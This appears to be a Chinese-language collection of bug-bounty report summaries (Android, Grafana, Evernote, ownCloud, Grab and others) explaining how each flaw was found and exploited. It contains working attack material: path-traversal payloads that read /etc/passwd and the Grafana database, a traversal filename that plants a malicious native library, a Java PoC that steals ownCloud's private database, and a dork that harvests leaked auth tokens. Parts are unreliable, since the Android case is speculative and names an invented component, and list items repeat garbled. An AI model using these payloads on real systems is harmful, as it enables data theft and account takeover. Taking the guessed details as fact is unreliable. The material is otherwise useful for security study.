案例:Google Android (报告: https://hackerone.com/reports/1416961)
挖掘手法
该漏洞的挖掘过程很可能始于对Android操作系统的深入代码审计和静态分析,特别是针对系统核心组件和服务。研究人员首先会使用Jadx、Ghidra等逆向工程工具反编译Android框架层(framework.jar)和系统应用,以获取Java源代码。分析的重点是寻找那些被导出(exported=true)且执行高权限操作的组件,例如Activity、Service或Broadcast Receiver,因为这些是潜在的攻击入口点。在确定了可疑组件后,研究人员会特别关注处理跨应用通信(如Intents)的代码逻辑。对于此特定漏洞,焦点会集中在与任务管理相关的Task.java类上。通过仔细审查Task.java的源代码,研究人员会寻找是否存在“混淆代理(Confused Deputy)”问题。这通常涉及到检查一个高权限服务(代理)在代表一个低权限应用执行操作时,是否充分验证了请求的来源和参数。关键的发现点可能在于,Task.java中的某个方法在接收到一个Intent后,没有正确地验证调用者的身份或其对目标资源的访问权限,就直接执行了某个敏感操作。为了验证这个漏洞,研究人员会编写一个恶意的Android应用作为PoC。这个应用会构造一个特定的Intent,通过startActivity()或类似方法将其发送给存在漏洞的系统组件。通过adb logcat持续监控系统日志,可以观察到漏洞被触发时的异常行为或权限提升的迹象,从而确认漏洞的存在。
技术细节
此漏洞的技术核心在于利用了Android系统组件中的“混淆代理(Confused Deputy)”缺陷。一个没有特定权限的恶意应用,可以欺骗一个拥有高权限的系统服务(“代理”)来为它执行特权操作。在这个案例中,Task.java扮演了被混淆的代理角色。
攻击流程如下:
- 攻击者创建一个恶意的Android应用。
- 该恶意应用构造一个精心设计的Intent对象。这个Intent的目标指向一个由
Task.java管理的、被导出的系统Activity。
- 该恶意应用构造一个精心设计的Intent对象。这个Intent的目标指向一个由
- Intent中可能包含一些指向受保护资源或操作的参数。例如,它可能包含一个指向其他应用私有数据的URI。
- 恶意应用通过
startActivity(intent)调用来发送这个Intent。
- 恶意应用通过
- 系统接收到Intent后,将其路由到
Task.java进行处理。由于代码缺陷,Task.java在处理这个Intent时,没有严格验证该Intent的真正来源(恶意应用),而是错误地认为这是一个合法的、来自可信源的请求。
- 系统接收到Intent后,将其路由到
- 因此,
Task.java以其自身的系统级权限执行了Intent中指定的操作,比如读取或修改了受保护的数据,从而导致了权限提升。
- 因此,
一个简化的payload命令示例如下,通过adb shell执行:
adb shell am start -n com.android.systemui/.vulnerable.Activity --es extra_key 'file:///data/data/com.victim.app/files/sensitive_data.txt'在这个例子中,-n指定了目标组件,--es传递了一个字符串参数,该参数是一个指向受害者应用私有文件的URI。存在漏洞的Activity在Task.java的上下文中处理这个Intent,并以其高权限访问并可能泄露sensitive_data.txt的内容。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式通常存在于被导出的Android组件(Activity, Service, Broadcast Receiver)中,特别是那些代表其他应用执行操作的系统服务。当一个高权限组件接收来自外部的Intent,并根据其参数执行敏感操作时,如果未对调用者的身份和权限进行严格校验,就容易产生混淆代理问题。
以下是一个易受攻击的代码模式示例:
// In AndroidManifest.xml
<activity
android:name=".VulnerableActivity"
android:exported="true" />
// In VulnerableActivity.java
public class VulnerableActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
// 从传入的Intent中获取一个URI
Uri dataUri = intent.getData();
// 未验证调用者的身份,直接使用该URI执行高权限操作
// 这是一个典型的“混淆代理”缺陷
if (dataUri != null) {
// 假设该操作需要特殊权限,但Activity本身拥有该权限
performPrivilegedOperationOn(dataUri);
}
}
private void performPrivilegedOperationOn(Uri uri) {
// e.g., read from the URI and log it, inadvertently leaking data
// to a malicious app that supplied the URI.
try (InputStream inputStream = getContentResolver().openInputStream(uri)) {
// ... read data and process it ...
} catch (IOException e) {
e.printStackTrace();
}
}
}为了修复这类漏洞,必须在执行敏感操作前,对调用者的身份(UID)进行检查,并验证其是否拥有执行该操作所需的权限。例如,可以使用getCallingUid()和checkPermission()方法进行校验。
目录遍历
案例:Grafana (报告: https://hackerone.com/reports/1416959)
挖掘手法
本次漏洞挖掘采用源代码审计的方法,针对Grafana的Go语言代码库进行。研究人员首先聚焦于Go语言中常见的文件读取函数,例如os.Open,并追踪这些函数的使用路径,这是发现路径遍历漏洞的典型思路。在对Grafana代码的深入分析中,研究人员在pkg/api/plugins.go文件中的getPluginAssets方法内,发现了一处对os.Open的调用,其路径参数经过了filepath.Clean函数的处理。这是漏洞发现的关键切入点。
研究人员意识到Go语言标准库中filepath.Clean函数的特殊行为是导致漏洞的根本原因:根据Go的文档,该函数会移除内部的..元素,以及以正斜杠开头的路径中的..元素。然而,对于不以正斜杠开头的相对路径,它不会完全移除..元素,从而可能保留路径遍历序列。
为了验证这一假设,研究人员在Docker容器中启动了Grafana实例,并开始进行模糊测试(Fuzzing)。他们使用了swisskyrepo/PayloadsAllTheThings GitHub仓库中的traversals-8-deep-exotic-encoding.txt等路径遍历字典,对目标URL路径进行尝试。通过手动测试和构造特定的相对路径Payload,成功绕过了filepath.Clean的清理逻辑,实现了对系统文件的读取。最终,研究人员通过构造Payload,成功读取了Grafana的SQLite数据库文件和配置文件,证实了这是一个严重的零日漏洞。整个过程体现了从代码审计发现潜在缺陷,到利用语言特性构造绕过,再到模糊测试验证Payload的完整漏洞挖掘流程。
技术细节
该漏洞的技术细节在于利用了Go语言filepath.Clean函数对相对路径处理的缺陷,结合Grafana的插件资源加载机制,实现了未授权的任意文件读取。
受影响的端点和Payload结构:
漏洞存在于Grafana的插件资源加载端点,其URL路径结构如下:
<grafana_host_url>/public/plugins/<"plugin-id">攻击者通过在<"plugin-id">后构造路径遍历序列,即可访问Grafana服务器上的本地文件。例如,一个典型的Payload可能如下所示:
/public/plugins/alertlist/../../../../../../../../etc/passwd或者,为了利用filepath.Clean的相对路径特性,攻击者可以构造一个不以/开头的路径,例如:
/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db通过这种方式,未认证的攻击者可以下载到包含用户认证令牌、数据源配置等敏感信息的Grafana SQLite数据库文件(默认路径通常为/var/lib/grafana/grafana.db),或读取包含数据库密码、OAuth凭证等信息的Grafana配置文件。
漏洞利用后果:
成功利用此漏洞可导致敏感信息泄露,如果获取到管理员凭证,攻击者甚至可以获得Grafana实例的完全控制权,并可能利用Grafana作为HTTP代理进行进一步的内部网络攻击。
易出现漏洞的代码模式
此类漏洞的根本原因在于程序在处理用户提供的文件路径时,未能正确地进行路径规范化(Path Normalization)和边界检查,尤其是在使用某些语言或框架提供的路径清理函数时,对其行为理解不彻底。
Go语言中的易漏洞模式:
在Go语言中,典型的易漏洞代码模式是依赖filepath.Clean来完全防止路径遍历,但未确保输入路径是绝对路径。
代码上下文示例(概念性):
在Grafana的案例中,问题出在类似以下逻辑的代码中:
// 假设 pluginID 和 assetPath 均来自用户输入
pluginID := "alertlist" // 示例插件ID
assetPath := "../../../../../../../../../etc/passwd" // 攻击者构造的路径
// 1. 构造基础路径
basePath := filepath.Join(pluginsDir, pluginID) // pluginsDir 是插件目录
// 2. 拼接用户输入
fullPath := filepath.Join(basePath, assetPath)
// 3. 尝试清理路径
// 问题在于 filepath.Clean(fullPath) 在某些情况下(如相对路径)
// 无法完全移除所有 ../ 序列,导致 fullPath 仍然可以逃逸出 basePath
cleanedPath := filepath.Clean(fullPath)
// 4. 使用清理后的路径打开文件
// 此时 cleanedPath 仍然指向了 /etc/passwd
file, err := os.Open(cleanedPath)
// ... 错误处理和文件内容返回总结: 易出现漏洞的模式是:将用户可控的相对路径片段与程序内部路径拼接后,仅依赖filepath.Clean(或其他不处理相对路径的清理函数)进行安全检查,而没有强制将路径解析为绝对路径或验证最终路径是否仍在预期的安全目录(如pluginsDir)内。 正确的做法是使用filepath.IsAbs检查路径是否为绝对路径,并使用filepath.Dir或filepath.Base等函数确保最终访问的文件位于限定目录内。
目录遍历导致的远程代码执行 (Path Traversal RCE)
案例:Evernote Android (报告: https://hackerone.com/reports/1377748)
挖掘手法
本次漏洞挖掘的思路是基于对应用文件处理机制的深入分析,特别是附件的下载和重命名功能。研究人员首先注意到应用存在一个相似的先前漏洞(#1362313),该漏洞涉及路径遍历,这使得研究方向自然地聚焦于文件路径的操纵和输入验证的缺失。
关键发现点在于两个方面:
- 用户输入未过滤: Evernote Android应用允许用户重命名已添加的附件,并且该重命名功能未对特殊字符进行限制。这意味着攻击者可以将附件名称修改为包含目录遍历序列(
../../../)的恶意路径,例如../../../lib-1/libjnigraphics.so。
- 用户输入未过滤: Evernote Android应用允许用户重命名已添加的附件,并且该重命名功能未对特殊字符进行限制。这意味着攻击者可以将附件名称修改为包含目录遍历序列(
- HTTP头未过滤: 应用在下载附件时,直接从HTTP响应的
content-disposition头部提取filename参数作为保存的文件名,而未对该值进行任何安全检查或净化(sanitization)。
- HTTP头未过滤: 应用在下载附件时,直接从HTTP响应的
漏洞挖掘步骤如下:
- 构造恶意文件: 攻击者首先需要创建一个恶意的原生库(Native Library)PoC文件,例如一个名为
libjnigraphics.so的共享对象文件,其中包含用于远程代码执行(RCE)的恶意代码。
- 构造恶意文件: 攻击者首先需要创建一个恶意的原生库(Native Library)PoC文件,例如一个名为
- 上传并重命名: 将该恶意文件作为附件上传到一个Evernote笔记中。然后,利用应用提供的重命名功能,将附件名称修改为精心构造的路径遍历Payload,例如
../../../lib-1/libjnigraphics.so。
- 上传并重命名: 将该恶意文件作为附件上传到一个Evernote笔记中。然后,利用应用提供的重命名功能,将附件名称修改为精心构造的路径遍历Payload,例如
- 诱骗受害者: 将包含该笔记的链接分享给受害者,或邀请受害者加入该笔记。
- 触发RCE: 当受害者在Evernote Android应用中点击该附件进行下载时,应用会使用恶意文件名来构造本地保存路径。由于路径遍历序列的存在,文件最终会被保存到应用的关键目录
/data/data/com.evernote/lib-1/下,而不是预期的缓存目录/data/data/com.evernote/cache/preview/:UUID/。
- 触发RCE: 当受害者在Evernote Android应用中点击该附件进行下载时,应用会使用恶意文件名来构造本地保存路径。由于路径遍历序列的存在,文件最终会被保存到应用的关键目录
- 代码执行: 一旦恶意文件被放置在
/data/data/com.evernote/lib-1/,它就会被Android系统或应用自身加载并执行,从而导致远程代码执行。
- 代码执行: 一旦恶意文件被放置在
整个攻击过程只需要受害者进行两次点击操作(2-click RCE),攻击复杂度低,无需任何特殊权限,证明了该漏洞的严重性。该挖掘手法成功地将一个看似普通的路径遍历漏洞升级为高危的远程代码执行漏洞。
技术细节
漏洞利用的核心在于目录遍历Payload和目标敏感目录的结合。
Payload示例:
攻击者构造的恶意文件名(通过重命名或伪造content-disposition头注入)为:
../../../lib-1/libjnigraphics.so攻击流程和技术细节:
- 路径注入: 攻击者通过重命名附件或控制HTTP响应头,将上述Payload注入到应用的文件名处理逻辑中。
- 路径解析: 应用的下载逻辑原本打算将文件保存到缓存目录,例如:
/data/data/com.evernote/cache/preview/:UUID/ + [filename]
当[filename]被替换为Payload后,路径变为:/data/data/com.evernote/cache/preview/:UUID/../../../lib-1/libjnigraphics.so
- 路径解析: 应用的下载逻辑原本打算将文件保存到缓存目录,例如:
- 目录逃逸: 操作系统在解析路径时,
../序列使得路径向上逃逸。假设:UUID/是两层目录,../../../将使路径逃逸到/data/data/com.evernote/。最终,文件被保存到:/data/data/com.evernote/lib-1/libjnigraphics.so
- 目录逃逸: 操作系统在解析路径时,
- RCE触发:
/data/data/com.evernote/lib-1/是Android应用的原生库(Native Library)目录。将一个恶意的.so文件放置于此,应用在后续操作中(例如加载特定的原生功能时)可能会加载并执行该恶意库,从而实现远程代码执行。报告中使用的libjnigraphics.so是一个常见的原生库名称,用于覆盖或伪装成合法的库文件。
- RCE触发:
HTTP头示例(用于理解文件名来源):
Content-Disposition: attachment; filename="../../../lib-1/libjnigraphics.so"应用直接使用filename的值,是导致漏洞的根本原因。
易出现漏洞的代码模式
此类漏洞的根本原因在于应用程序未能对来自外部源(如HTTP头、用户输入)的文件名进行充分的净化(sanitization)或验证,导致攻击者可以利用目录遍历序列(../)来控制文件的最终保存位置。
易受攻击的代码模式(概念性示例,基于Java/Kotlin):
当应用直接将外部输入(如filename变量)拼接到一个基础路径后用于文件操作时,就可能引入目录遍历漏洞:
// 假设 cacheDir 是一个安全目录,如 /data/data/com.app/cache/
File cacheDir = context.getCacheDir();
// 危险操作:直接使用未经验证的外部输入作为文件名
// 这里的 unsanitizedFilename 可能是 "../../../lib-1/libjnigraphics.so"
String unsanitizedFilename = getFilenameFromExternalSource();
// 构造最终路径,如果 unsanitizedFilename 包含 "../",则会逃逸到 cacheDir 之外
File finalFile = new File(cacheDir, unsanitizedFilename);
// 写入文件到 finalFile 路径
// ...正确的防御性代码模式:
为了防止目录遍历,开发者应该在进行文件操作前,确保最终路径是规范化(canonicalized)的,并且仍然位于预期的安全目录之下。
import java.io.File;
import java.io.IOException;
// 假设 cacheDir 是一个安全目录
File safeBaseDir = context.getCacheDir();
String unsanitizedFilename = getFilenameFromExternalSource();
// 1. 构造文件对象
File finalFile = new File(safeBaseDir, unsanitizedFilename);
try {
// 2. 获取文件的规范路径(Canonical Path),解析所有 "../"
String canonicalPath = finalFile.getCanonicalPath();
String canonicalBaseDir = safeBaseDir.getCanonicalPath();
// 3. 关键验证:检查规范路径是否以安全目录的规范路径开头
if (!canonicalPath.startsWith(canonicalBaseDir + File.separator)) {
// 路径逃逸,拒绝操作
throw new SecurityException("Directory traversal attempt detected.");
}
// 4. 安全操作:如果验证通过,执行文件写入操作
// ...
} catch (IOException e) {
// 路径解析错误处理
// ...
}这种模式确保了即使文件名包含../,最终的文件路径也无法逃逸出预定的安全基目录。
硬编码API密钥泄露
案例:Reverb.com Android App (报告: https://hackerone.com/reports/351555)
挖掘手法
该漏洞的挖掘手法属于典型的Android应用逆向工程与静态分析。研究人员首先获取了Reverb.com的Android应用安装包(APK),随后使用反编译工具(如Jadx、Apktool等)对APK进行逆向分析,将其转换为可读的Java代码或Smali代码。\n\n关键发现步骤:\n1. 目标定位: 攻击者通常会关注应用中与外部服务(如文件存储、推送通知、支付接口等)交互的类文件。在本例中,研究人员成功定位到了负责处理Cloudinary文件上传服务的核心类文件:com/reverb/app/CloudinaryFacade.java。\n2. 敏感信息搜索: 在该类文件中,研究人员搜索到了一个硬编码的配置字符串,该字符串用于初始化Cloudinary SDK。该配置被定义为一个私有静态常量:private static final java.lang.String CONFIG = "cloudinary://434762629765715:█████@reverb";。\n3. 凭证提取与验证: 根据Cloudinary的URL结构,该字符串包含了cloudinary://<API_KEY>:<API_SECRET>@<CLOUD_NAME>的完整格式。研究人员成功提取了完整的API Key和API Secret。\n4. 影响验证: 利用提取到的完整API凭证,研究人员通过Cloudinary的API接口进行了验证,确认这些凭证具有完整的管理权限,包括访问账户数据、删除或替换已上传文件,以及查询账户使用统计等,从而证实了漏洞的严重性。\n\n这种挖掘手法利用了客户端应用(尤其是Android应用)缺乏有效保护敏感配置的弱点,通过逆向工程直接从代码中获取了本应仅存储在安全后端服务器上的高权限凭证。整个过程的重点在于静态分析和对外部服务SDK配置模式的熟悉。
技术细节
漏洞利用的技术细节围绕着硬编码的Cloudinary API Key和Secret展开。攻击者一旦通过逆向工程获取到以下硬编码配置字符串:\n\njava\nprivate static final java.lang.String CONFIG = "cloudinary://434762629765715:█████@reverb";\n\n\n攻击者就获得了对Cloudinary账户的完全管理权限。其中,434762629765715是API Key,█████是API Secret,reverb是Cloud Name。这些凭证允许攻击者绕过正常的授权流程,直接与Cloudinary的REST API进行交互。\n\n攻击流程和Payload示例:\n\n1. 访问账户数据和统计信息: 攻击者可以直接向Cloudinary的API端点发送请求,获取敏感的账户使用统计信息,验证凭证的有效性。\n\n * 请求URL (GET): https://api.cloudinary.com/v1_1/reverb/usage\n * 认证: 使用提取的API Key和Secret进行Basic Auth认证。\n\n2. 文件管理操作(如删除文件): 攻击者可以构造请求删除账户中的任意文件。假设要删除一个公共ID为sample_image的文件,攻击者需要计算一个有效的签名(Signature),但由于拥有Secret,可以直接使用管理API。\n\n * 请求URL (POST): https://api.cloudinary.com/v1_1/reverb/resources/image/upload\n * Payload (示例 – 删除操作):\n json\n {\n "public_id": "target_file_id",\n "api_key": "434762629765715",\n "timestamp": "...",\n "signature": "..." // 使用API Secret计算的签名\n }\n\n\n拥有这些凭证,攻击者可以执行包括但不限于:读取所有上传文件列表、替换或删除任意文件、修改文件设置等高权限操作,对应用的数据完整性和用户隐私造成严重威胁。
易出现漏洞的代码模式
此类漏洞的根本原因在于将敏感的API密钥或Secret硬编码为客户端应用中的静态常量。这种模式在Android应用中尤为常见,通常出现在负责初始化外部服务SDK的类文件中。\n\n典型的易漏洞代码模式:\n\n1. 使用private static final String存储完整配置URL:\n\n java\n // com/reverb/app/CloudinaryFacade.java\n public class CloudinaryFacade {\n // 敏感信息(API Key和Secret)被硬编码在配置字符串中\n private static final java.lang.String CONFIG = "cloudinary://<API_KEY>:<API_SECRET>@<CLOUD_NAME>";\n\n public static void init(Context context) {\n // 使用包含Secret的完整配置初始化SDK\n MediaManager.init(context, CONFIG);\n }\n // ...\n }\n\n\n2. 使用String常量存储单独的Secret:\n\n java\n // com/example/app/Config.java\n public class Config {\n // 敏感的Secret被直接硬编码\n public static final String STRIPE_SECRET_KEY = "se_XXXXXXXXXXXXXXXXXXXXXXXX";\n public static final String FIREBASE_SERVER_KEY = "AAAA-XXXXXXXXXXXXXXXXXXXXXXXXXXXX";\n // ...\n }\n\n\n正确的编程模式(避免漏洞):\n\n* 原则: 任何需要高权限(如删除、修改)的Secret Key或Token,绝不能存储在客户端应用中。\n* 实践: 客户端应用只应存储非敏感信息(如cloud_name或Public Key)。所有需要Secret Key的操作,必须通过安全的后端服务器进行代理和执行。例如,Cloudinary的Android SDK文档明确指出,应用中只应包含cloud_name,而API Secret和Key必须省略。
组件暴露导致私有文件窃取
案例:ownCloud (报告: https://hackerone.com/reports/1454002)
挖掘手法
该漏洞的发现主要依赖于对Android应用程序的静态分析,特别是对AndroidManifest.xml文件的审查。
- 目标识别与组件暴露分析: 攻击者首先识别出ownCloud Android应用中所有暴露(exported)的组件,尤其是
Activity。报告中发现com.owncloud.android.ui.activity.ReceiveExternalFilesActivity被配置为可供外部应用调用。
- 目标识别与组件暴露分析: 攻击者首先识别出ownCloud Android应用中所有暴露(exported)的组件,尤其是
- Intent Filter分析: 重点关注那些处理文件或数据共享的
Activity,发现上述Activity包含一个处理android.intent.action.SEND_MULTIPLE动作的intent-filter,这意味着它接受外部应用传递的文件URI列表进行上传操作。
- Intent Filter分析: 重点关注那些处理文件或数据共享的
- 安全控制对比与缺陷定位: 攻击者注意到该应用中可能存在另一个处理文件共享的Intent(如
android.intent.action.SEND),并且该Intent可能已经实现了路径验证或权限检查。通过对比发现,处理SEND_MULTIPLE的Activity缺乏类似的保护机制,未能阻止应用读取其自身的私有文件路径。
- 安全控制对比与缺陷定位: 攻击者注意到该应用中可能存在另一个处理文件共享的Intent(如
- 构造恶意Intent: 利用这一缺陷,攻击者从一个恶意的第三方应用中构造一个
Intent,指定目标组件为ReceiveExternalFilesActivity。
- 构造恶意Intent: 利用这一缺陷,攻击者从一个恶意的第三方应用中构造一个
- 私有文件URI注入: 在该恶意Intent中,攻击者将
android.intent.extra.STREAM参数设置为一个指向ownCloud应用私有数据目录的file://URI,例如/data/data/com.owncloud.android/databases/filelist。
- 私有文件URI注入: 在该恶意Intent中,攻击者将
- 利用流程: 当恶意Intent被发送并启动目标Activity后,ownCloud应用会在其自身进程的权限下,读取该私有文件,并将其作为“外部文件”上传到用户已登录的ownCloud服务器上,从而实现私有数据的窃取。整个挖掘过程的关键在于静态分析定位到暴露且缺乏路径验证的组件,并利用Android的Intent机制实现跨应用的文件访问和数据泄露。
技术细节
漏洞利用的关键在于构造一个恶意的Intent,强制目标应用读取并处理其自身的私有文件。以下是报告中提供的Java PoC代码,用于演示如何窃取ownCloud应用的数据库文件:
// 1. 绕过StrictMode的URI暴露限制(非漏洞本身,而是PoC运行环境要求)
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
StrictMode.setVmPolicy(builder.build());
// 2. 构造目标Intent,指定Action和目标组件
Intent intent = new Intent("android.intent.action.SEND_MULTIPLE");
intent.setClassName("com.owncloud.android",
"com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
intent.setType("*/*");
// 3. 设置FLAG_GRANT_READ_URI_PERMISSION(通常用于Content Provider,此处可能用于绕过某些内部检查)
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
// 4. 构造指向目标应用私有文件的file:// URI
ArrayList<Uri> mStreamsToUpload = new ArrayList<>();
// 目标:ownCloud应用的数据库文件
mStreamsToUpload.add(Uri.parse("file:///data/data/com.owncloud.android/databases/filelist"));
// 5. 将私有文件URI列表放入Intent的EXTRA_STREAM中
intent.putExtra("android.intent.extra.STREAM", mStreamsToUpload);
// 6. 启动目标Activity,触发文件读取和上传
startActivity(intent);攻击流程: 恶意应用启动上述Intent后,ownCloud应用内部处理SEND_MULTIPLE的逻辑会尝试读取file:///data/data/com.owncloud.android/databases/filelist。由于该Activity没有对传入的URI进行充分的路径验证,它会成功读取到本应受保护的私有文件,并将其作为用户请求上传的文件,发送到ownCloud服务器,完成数据窃取。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用组件(通常是Activity或Service)被设置为暴露(exported),并且在处理外部传入的Intent数据时,缺乏对文件路径或URI的严格验证。
易漏洞代码模式总结:
- Manifest配置:
AndroidManifest.xml中,将处理文件共享的组件(如ReceiveExternalFilesActivity)设置为android:exported="true",且其intent-filter包含文件相关的Action(如android.intent.action.SEND_MULTIPLE)。
- Manifest配置:
<activity
android:name=".ui.activity.ReceiveExternalFilesActivity"
android:exported="true"> <!-- 缺陷点1: 组件暴露 -->
<intent-filter>
<action android:name="android.intent.action.SEND_MULTIPLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>- 代码实现: 在组件的
onCreate()或onNewIntent()方法中,直接从Intent中获取URI并进行文件操作,而没有检查URI的协议(scheme)或路径是否指向应用的私有目录(/data/data/PACKAGE_NAME/)。
- 代码实现: 在组件的
安全修复模式(Mitigation):
在处理Intent中的URI时,必须进行严格的路径验证,确保文件操作不会超出预期的共享范围。例如,检查URI是否为content://类型,并确保其指向的ContentProvider是安全的,或者在处理file:// URI时,明确拒绝指向应用私有目录的路径。
// 修复示例:在处理Intent时添加路径验证
Uri fileUri = intent.getParcelableExtra(Intent.EXTRA_STREAM);
if (fileUri != null && "file".equals(fileUri.getScheme())) {
String path = fileUri.getPath();
// 检查路径是否包含应用的私有目录路径
if (path != null && path.startsWith("/data/data/com.owncloud.android/")) {
// 拒绝处理指向私有目录的URI
Log.e("SecurityCheck", "Attempted access to private file: " + path);
return; // 终止操作
}
}
// ... 继续处理安全的URI认证令牌泄露与搜索引擎缓存
案例:Grab (报告: https://hackerone.com/reports/221558)
挖掘手法
漏洞的发现始于对Grab Android应用的网络流量分析。研究人员在应用内访问“Notifications”(通知)功能时,通过抓包工具(如Burp Suite或Fiddler)观察到应用向 https://grab-attention.grabtaxi.com 发送了一个不安全的GET请求。关键发现是,这个请求的URL中包含了用户的认证令牌(auth_token),其格式为https://grab-attention.grabtaxi.com/passenger/passenger.html?auth_token=[my_token]&view=268435456。
第一步:发现敏感信息泄露
研究人员注意到 auth_token 以明文形式出现在URL的查询参数中。为了验证该令牌的有效性,研究人员将完整的URL(包含自己的 auth_token)复制到浏览器中进行访问。结果证实,该URL可以直接访问用户的私人消息,包括OTP(一次性密码)和群组邀请信息等敏感内容,这表明 auth_token 具有完整的会话权限。
第二步:验证搜索引擎可爬取性
由于认证令牌通过GET请求的URL参数传递,且该URL指向一个Web页面,研究人员推测该链接可能被搜索引擎爬取和缓存。为了验证这一推测,研究人员使用了Google DORK(搜索引擎高级搜索语法)进行定向搜索。使用的DORK为:passenger site:grab-attention.grabtaxi.com。
第三步:确认漏洞影响
执行DORK搜索后,搜索引擎返回了被缓存的页面结果。这些缓存页面在URL中完整地暴露了其他用户的 auth_token。攻击者无需直接与Grab应用交互,只需通过简单的Google搜索,即可获取有效的用户认证令牌,并利用这些令牌访问其他用户的私人消息,从而实现敏感信息泄露和潜在的权限提升。这种挖掘手法充分利用了应用层面的不安全设计(GET请求携带敏感令牌)与Web服务器配置缺陷(允许搜索引擎索引敏感路径)的结合。整个过程的核心思路是:观察应用行为 -> 提取敏感数据载体 -> 利用搜索引擎的特性进行批量验证和攻击。
第四步:总结与建议
研究人员随后建议Grab团队采取两项修复措施:首先,禁用搜索引擎对 https://grab-attention.grabtaxi.com 的索引,例如通过配置 robots.txt 或 X-Robots-Tag;其次,将包含 auth_token 的请求方法从不安全的GET改为POST,或对URL参数进行加密,以彻底消除令牌在URL中暴露的风险。
技术细节
该漏洞的核心技术细节在于Grab Android应用在获取用户通知时,使用了不安全的GET请求方式来传递用户的认证令牌(auth_token)。
关键请求结构:
GET https://grab-attention.grabtaxi.com/passenger/passenger.html?auth_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJQQVNTRU5HRVIiLCJleHAiOjQ2NDUyMzk1NDUsImlhdCI6MTQ5MTYzOTU0NSwianRpIjoiZWI0YmFiMjUtYzA2Yi00MGIzLWJiZTctMzZkYzFmMWRkZTMyIiwibG1lIjoiU1lTVEVNIiwibmFtZSI6IiIsInN1YiI6IjM2NWE0NjY0LTY1MGEtNDBjZC05YWU2LTQ4YWQwN2Q2NGY2OSJ9.eTX2dWnooTxm50Dv1VYoIZanOqCe073_AmVk97VE4p7m4e26mcWtnZzQz5IR1EwuWbs52qJLzzAIZ5KcpWoKCvadu6zuRQzy2xRk8BcFDUXGl8w8doPJbuSIHMY0K-x8Q-█████████ZTdgxLI&view=268435456其中,auth_token 是一个Base64编码的JWT(JSON Web Token),包含了用户的身份信息和会话有效期。由于该令牌直接作为URL的查询参数(Query Parameter)传递,它会暴露在以下多个环节:
- 浏览器历史记录和日志: 用户的浏览器历史记录、代理服务器日志和Web服务器访问日志中都会记录完整的URL,包括敏感的
auth_token。
- 浏览器历史记录和日志: 用户的浏览器历史记录、代理服务器日志和Web服务器访问日志中都会记录完整的URL,包括敏感的
- Referer头: 如果用户从该页面跳转到其他页面,
auth_token可能会通过HTTP Referer头泄露给第三方网站。
- Referer头: 如果用户从该页面跳转到其他页面,
- 搜索引擎缓存: 这是本漏洞利用的关键。由于Web服务器未配置禁止索引,搜索引擎爬虫会抓取并缓存包含
auth_token的完整URL。
- 搜索引擎缓存: 这是本漏洞利用的关键。由于Web服务器未配置禁止索引,搜索引擎爬虫会抓取并缓存包含
攻击流程(利用搜索引擎):
攻击者使用以下Google DORK进行搜索:
passenger site:grab-attention.grabtaxi.com搜索引擎返回的结果页面URL中,将包含其他用户的有效 auth_token。攻击者只需提取该令牌,并构造请求即可劫持用户会话,访问其私人消息。
漏洞影响:
攻击者通过搜索引擎获取的令牌,可以直接访问用户的私密信息,如OTP、群组邀请等,造成严重的敏感信息泄露。
修复建议的关键代码/配置:
- 禁用索引(Web服务器配置): 在
/passenger/路径下添加robots.txt规则:User-agent: * Disallow: /passenger/
或在HTTP响应头中添加X-Robots-Tag:X-Robots-Tag: noindex, noarchive
- 禁用索引(Web服务器配置): 在
- 更改请求方法(应用端/服务器端): 将认证令牌从GET参数改为POST请求体中传递,以避免其出现在URL中。
易出现漏洞的代码模式
不安全代码模式:
将认证或会话令牌等敏感信息放置在HTTP GET请求的URL查询参数中。
代码示例(概念性):
在Android应用中,构建包含敏感信息的URL:
// 错误示例:敏感信息(token)被放在GET请求的URL中
String authToken = userSession.getAuthToken();
String url = "https://grab-attention.grabtaxi.com/passenger/passenger.html?auth_token=" + authToken + "&view=268435456";
// 使用此URL发起网络请求或在WebView中加载Web服务器配置缺陷:
Web服务器(如Apache, Nginx)或应用程序未配置 robots.txt 或 X-Robots-Tag HTTP响应头,允许搜索引擎爬虫对包含敏感信息的路径进行索引和缓存。
修复建议的代码模式:
- 使用POST请求: 将
auth_token放在请求体(Request Body)中,而不是URL中。
- 使用POST请求: 将
- 使用HTTP Header: 将
auth_token放在自定义的HTTP Header中(如Authorization: Bearer <token>)。
- 使用HTTP Header: 将
正确示例(使用HTTP Header):
// 正确示例:敏感信息(token)通过Header传递
String url = "https://grab-attention.grabtaxi.com/passenger/passenger.html?view=268435456";
// 在请求头中添加认证信息
request.addHeader("Authorization", "Bearer " + userSession.getAuthToken());账户逻辑漏洞:邮箱大小写不敏感导致的账户覆盖
案例:Vine (报告: https://hackerone.com/reports/187714)
挖掘手法
该漏洞的发现和挖掘主要基于对Vine Android应用注册流程中邮件地址处理逻辑的分析。核心思路是利用系统对邮件地址的大小写不敏感特性,结合应用后端在处理用户注册和登录时可能存在的逻辑缺陷,实现账户覆盖(Account Overwrite)。
挖掘步骤和分析思路:
- 创建初始账户: 攻击者首先使用一个标准格式的邮箱地址(例如:
firstaccountmail@gmail.com)在Vine Android应用中注册第一个账户,并设置密码(例如:Bla123)。这一步验证了正常的注册和登录流程。
- 创建初始账户: 攻击者首先使用一个标准格式的邮箱地址(例如:
- 利用大小写差异注册新账户: 随后,攻击者尝试使用同一个邮箱地址,但通过修改其大小写形式(例如:
Firstaccountmail@gmail.com,注意首字母大写)来注册第二个账户,并设置一个新的密码。
- 利用大小写差异注册新账户: 随后,攻击者尝试使用同一个邮箱地址,但通过修改其大小写形式(例如:
- 关键发现点——注册成功: 尽管邮箱地址在技术上是同一个,但由于Vine Android应用在注册时未对邮箱地址进行统一的大小写处理(或后端数据库查询时未强制大小写敏感),导致系统错误地允许了第二个账户的创建。
- 验证账户覆盖: 攻击者尝试使用第一个账户的凭证(
firstaccountmail@gmail.com和Bla123)进行登录。结果发现登录失败,表明第一个账户的密码已被覆盖或账户已被替换。
- 验证账户覆盖: 攻击者尝试使用第一个账户的凭证(
